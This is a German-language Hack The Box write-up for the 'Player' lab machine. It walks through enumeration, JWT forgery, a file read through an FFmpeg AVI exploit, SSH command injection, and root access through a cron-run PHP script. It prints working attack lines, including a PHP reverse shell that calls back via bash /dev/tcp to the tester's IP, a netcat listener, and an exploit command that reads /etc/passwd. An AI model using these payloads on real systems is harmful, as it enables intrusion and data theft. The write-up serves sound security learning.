Hack The Box - Walkthrough-Spieler. FFmpeg Exploit, JWT und diverse Weblisten

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden. Ich hoffe, dass dies zumindest jemandem hilft, sich auf dem Gebiet der Informationssicherheit weiterzuentwickeln. In diesem Artikel werden wir das JWT durchgehen und Web-Enumerationen wie die Suche nach Verzeichnissen, Subdomains und Sicherungsdateien durchführen. Wir werden SSRF im FFmpeg-Encoder und RCE in SSH ausnutzen.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in einem privaten Netzwerk mit Personen enden, die sich mit dem Thema Informationssicherheit auskennen :)

Organisatorische Informationen
Speziell für diejenigen, die etwas Neues lernen und sich in einem der Bereiche Informations- und Computersicherheit weiterentwickeln möchten, werde ich folgende Kategorien beschreiben und besprechen:

  • PWN;
  • Kryptographie (Crypto);
  • Netzwerktechnologien (Netzwerk);
  • Reverse (Reverse Engineering);
  • Steganographie (Stegano);
  • Suche und Ausnutzung von WEB-Schwachstellen.

Darüber hinaus werde ich meine Erfahrungen in den Bereichen Computerforensik, Analyse von Malware und Firmware, Angriffe auf drahtlose Netzwerke und lokale Netzwerke, Durchführung von Pentests und Schreiben von Exploits teilen.

Damit Sie sich über neue Artikel, Software und andere Informationen informieren können, habe ich in Telegram einen Channel und eine Gruppe erstellt, um alle Fragen im Bereich ICD zu diskutieren . Auch ich werde Ihre persönlichen Wünsche, Fragen, Anregungen und Empfehlungen persönlich berücksichtigen und auf alle antworten .

Alle Informationen werden nur zu Bildungszwecken bereitgestellt. Der Autor dieses Dokuments übernimmt keine Verantwortung für Schäden, die jemandem durch die Verwendung von Kenntnissen und Methoden entstehen, die er durch das Studium dieses Dokuments erlangt hat.

Intelligenz


Port-Scan


Dieser Rechner hat eine IP-Adresse vom 10.10.10.145, die ich zu / etc / hosts hinzufüge.

10.10.10.145 player.htb 

Zuerst scannen wir offene Ports. Da es sehr lange dauert, alle Ports mit nmap zu scannen, mache ich dies zuerst mit Masscan. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 1000 Paketen pro Sekunde.

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000 

Bild

Als Nächstes müssen Sie weitere Informationen zu bekannten Ports sammeln. Verwenden Sie dazu nmap mit der Option -A.

 nmap -A player.htb -p22,80,6686 

Bild

Daher führt der Host SSH auf den Ports 22 und 6686 sowie den Apache-Webserver auf 80 aus.

Web-Aufzählungen


Schauen Sie sich zunächst das Web an. Aber leider gibt es nichts Interessantes.

Bild

In diesem Fall müssen Sie normalerweise die Verzeichnisse durchsuchen. Verwenden Sie dazu einen schnellen Gobuster. Geben Sie in den Parametern an, welche Verzeichnisse durchsucht werden sollen (Verzeichnis), geben Sie die Site an (-u), eine Liste von Wörtern (-w), Erweiterungen, die uns interessieren (-x), die Anzahl der Threads (-t).

 gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php 

Aus diesen Verzeichnissen ein interessanter Launcher. Es heißt, dass dies ein Videobearbeitungsdienst ist und wir eine gültige E-Mail benötigen.

Bild

Nachdem ich ein wenig mit dem Formular gespielt hatte, bemerkte ich, dass es Daten an die Seite /launcher/dee8dc8a47256c64630d803a4c40786c.php sendet, dort prüft und zurückleitet.

Bild

Von allem, was wir haben, wird uns nichts und nichts geben. Der nächste Schritt in der Auflistung ist die Suche nach Subdomains. Kürzlich, nachdem mir geraten wurde, wfuzz zu verwenden, benutze ich es und rate es auch anderen. Geben Sie den Header (-H), das Wörterbuch (-w) und die URL (-u) an und schließen Sie den Antwortcode 403 (--hc 403) aus.

 wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403 

Bild

So haben wir drei Subdomains gefunden, die ebenfalls zu / etc / hosts hinzugefügt werden müssen.

 10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb 

Auf dev gibt es nur ein Autorisierungsformular, auf chat nur nutzlosen Chat und auf staging ein Formular für einige Kontakte.

Bild

Bild

Bild

Nachdem wir das Formular ein wenig getestet haben, haben wir nur eine Weiterleitung zu 501.php und einige Daten mit dem angegebenen Fehler.

Bild

Bild

Bild

Aber auch dies war nicht genug. Außerdem habe ich mich, was ich normalerweise vergesse, entschlossen, die Backups von Dateien zu überprüfen. So wurde /launcher/dee8dc8a47256c64630d803a4c40786c.php~ entdeckt

Bild

In diesem Code wird das JWT (Token) dekodiert und überprüft. Je nach Prüfung erfolgt eine Weiterleitung auf eine der Seiten. Wenn das Token nicht bereitgestellt wird, wird es uns zugewiesen.

Da wir den Schlüssel und den endgültigen Wert kennen, können wir ihn codieren und ein gültiges Token erhalten. Dies kann über diese Site erfolgen .

Bild

Wir bekommen einen codierten Token. Und ersetze es in der Anfrage.

Bild

Bild

Als Ergebnis wurde uns ein Formular zum Hochladen von Mediendateien präsentiert. Nachdem wir das Bild heruntergeladen hatten, wurde uns angeboten, die Mediendatei im AVI-Format herunterzuladen.

Bild

Einstiegspunkt


Da AVI aus unserer Datei erstellt wird, können wir einen Exploit verwenden, mit dem Sie Dateien lesen können. Der Code kann hier eingetragen werden . Schauen wir uns das an und sehen uns die Datei / etc / passwd an.

Bild

Schauen wir uns das an und sehen uns die Datei / etc / passwd an.

 python3 gen_avi.py file:///etc/passwd passwd.avi 

Nach dem Herunterladen und Öffnen der Datei sehen wir uns die Datei / etc / passwd an.

Bild

Da wir Dateien lesen können, müssen wir eine Liste der uns bekannten Dateien erstellen. Wir erinnern uns an Fehler in der Datei contact.php. Lesen wir alle dort aufgelisteten Dateien.

Bild

Und es war nichts Interessantes in der Kontaktdatei, Fix konnte nicht gelesen werden, aber in service_config finden wir den Login und das Passwort.

Bild

Versuchen wir uns mit ihnen in dev.player.htb einzuloggen - die Daten passen nicht, aber es gibt zwei weitere SSHs. Port 22 ist ein Fehler, aber auf 6686 erhalten wir eine Shell.

Bild

USER


Aber die Shell ist begrenzt, und ich erinnerte mich an Version 7.2 und beschloss, die Exploits zu überprüfen.

Bild

Wenn wir also Anmeldeinformationen haben, können wir Command Injection ausführen.

Bild

Bild

Sie stellen uns auch eine Liste von Befehlen zum Lesen und Schreiben von Dateien zur Verfügung. Wir lesen die Flagge des Benutzers.

Bild

Wurzel


Jetzt sollten wir genug Rechte haben, um fix.php zu lesen

Bild

Wir finden darin interessante Daten, die bereits auf dev.player.htb passen. Und dort finden wir das Projekt.

Bild

Und auf diese Datei kann zugegriffen werden, wenn von einer externen Umgebung aus darauf zugegriffen wird. Das heißt, wir können die Schale platzieren.

Bild

Öffnen Sie dazu Ihr Projekt.

Bild

Als nächstes erstellen Sie eine Datei mit der folgenden Shell.

 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?> 

Bild

Öffnen Sie nun die Sitzung mit netcat.

 nc -lvp 4321 

Als nächstes wenden wir uns unserer Akte zu.

Bild

Bild

Nachdem Sie die Aufzählungen abgeschlossen und einige weitere Optionen überprüft haben, werden die Prozesse nicht mehr überprüft. Dank pspy64 können Sie feststellen, dass das Skript buff.php von Zeit zu Zeit mit einer UID von 0 ausgeführt wird, d. H. als root.

Bild

Mal sehen, was das Skript macht.

Bild

Beim Versuch, dieser Datei Code hinzuzufügen, tritt ein Problem auf - wir haben keine Rechte.

Bild

Im Skript ist jedoch eine weitere Datei enthalten, in die wir das Recht haben zu schreiben.

Bild

Wir schreiben die von uns bereits verwendete Shell in diese Datei und warten in netcat auf die Verbindung.

Bild

Auf diese Weise erhalten wir maximale Privilegien.

Sie können sich uns per Telegramm anschließen . Bauen wir eine Community auf, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns gegenseitig in allen Fragen der IT- und Informationssicherheit helfen.

Source: https://habr.com/ru/post/de484568/


All Articles